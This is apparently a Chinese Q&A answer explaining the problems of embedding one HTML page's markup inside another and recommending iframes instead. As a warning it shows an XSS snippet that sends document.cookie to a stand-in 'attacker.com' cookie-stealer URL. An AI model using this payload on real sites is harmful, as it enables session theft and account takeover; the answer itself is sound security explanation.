简短的回答:你不能。
长答案:可以,但会很困难,容易出错,并且存在很大的安全风险。
假设这是您想要嵌入另一个页面的页面:
<!DOCTYPE html public>
<html>
<head>
<title>My Page</title>
</head>
<body>
<div id="embedMe"></div>
</body>
</html>
然后,这是要嵌入第一个页面的代码:
<!DOCTYPE html public>
<html>
<head>
<title>My Embedded Page</title>
</head>
<body>
<div id="content">
Something interesting here...
</div>
</body>
</html>
然后,当它被嵌入时:
<!DOCTYPE html public>
<html>
<head>
<title>My Page</title>
</head>
<body>
<div id="embedMe">
<!DOCTYPE html public>
<html>
<head>
<title>My Embedded Page</title>
</head>
<body>
<div id="content">
Something interesting here...
</div>
</body>
</html>
</div>
</body>
</html>
你可以看到问题。你有两个html
元素,两个head
s,两个body
s,两个title
s,甚至两个DOCTYPES
。这是一个仁慈的例子。假设攻击者可以将要嵌入的页面的 url 更改为包含以下内容的页面:
<script type="text/javascript">
window.location.href = "http://www.attacker.com/cookiestealer.php?cookies=" + document.cookie;
</script>
突然之间,你的用户抱怨他们的账户被黑了,责任就落在了你的持有人身上。这是一个简单的 XSS 示例,真正的攻击者可以更好地隐藏它。请只使用 iframe。这就是他们的目的。